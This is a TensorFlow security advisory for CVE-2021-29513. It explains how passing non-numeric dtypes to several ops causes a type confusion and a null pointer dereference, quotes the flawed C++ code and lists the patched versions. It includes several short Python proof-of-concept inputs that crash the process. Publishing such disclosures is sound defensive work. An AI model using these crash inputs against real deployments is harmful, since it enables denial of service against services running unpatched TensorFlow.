# Type confusion during tensor casts lead to dereferencing null pointers

Low **mihaimaruseac** published **GHSA-452g-f7fp-9jf7** on May 12, 2021

Package

**tensorflow, tensorflow-cpu, tensorflow-gpu** (pip)

| Affected versions | Patched versions |
| --- | --- |
| < 2.5.0 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |

Description

## Impact

Calling TF operations with tensors of non-numeric types when the operations expect numeric tensors result in null pointer dereferences.

There are multiple ways to reproduce this, listing a few examples here:

```
import tensorflow as tf
import numpy as np
data = tf.random.truncated_normal(shape=1,mean=np.float32(20.8739),stddev=779.973,dtype=20,seed=64)
```

```
import tensorflow as tf
import numpy as np
data =
tf.random.stateless_truncated_normal(shape=1,seed=[63,70],mean=np.float32(20.8739),stddev=779.973,dtype=20)
```

```
import tensorflow as tf
import numpy as np
data = tf.one_hot(indices=[62,50],depth=136,on_value=np.int32(237),off_value=158,axis=856,dtype=20)
```

```
import tensorflow as tf
import numpy as np
data = tf.range(start=np.int32(214),limit=660,delta=129,dtype=20)
```

```
import tensorflow as tf
import numpy as np
data = tf.raw_ops.ResourceCountUpTo(resource=np.int32(30), limit=872, T=3)
```

```
import tensorflow as tf
import numpy as np

writer_array = np.array([1,2],dtype=np.int32)
writer_tensor = tf.convert_to_tensor(writer_array,dtype=tf.resource)
```

All these examples and similar ones have the same behavior: the conversion from Python array to C++ array is vulnerable to a type confusion:

```
int pyarray_type = PyArray_TYPE(array);
PyArray_Descr* descr = PyArray_DESCR(array);
switch (pyarray_type) {
  ...
  case NPY_VOID:
    // Quantized types are currently represented as custom struct types.
    // PyArray_TYPE returns NPY_VOID for structs, and we should look into
    // descr to derive the actual type.
    // Direct feeds of certain types of ResourceHandles are represented as a
    // custom struct type.
    return PyArrayDescr_to_TF_DataType(descr, out_tf_datatype);
  ...
}
```

For the tensor types involved in the above example, the `pyarray_type` is `NPY_VOID` but the `descr` field is such that `descr->field = NULL`. Then `PyArrayDescr_to_TF_DataType` will trigger a null dereference:

```
Status PyArrayDescr_to_TF_DataType(PyArray_Descr* descr,
                                   TF_DataType* out_tf_datatype) {
  PyObject* key;
  PyObject* value;
  Py_ssize_t pos = 0;
  if (PyDict_Next(descr->fields, &pos, &key, &value)) {
    ...
  }
}
```

This is because the Python's `PyDict_Next` implementation would dereference the first argument.

## Patches

We have patched the issue in GitHub commit 030af767d357d1b4088c4a25c72cb3906abac489.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

### For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

### Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360 as well as Ye Zhang and Yakun Zhang of Baidu X-Team.

**Severity**

Low

**CVE ID**

CVE-2021-29513

**Weaknesses**

No CWEs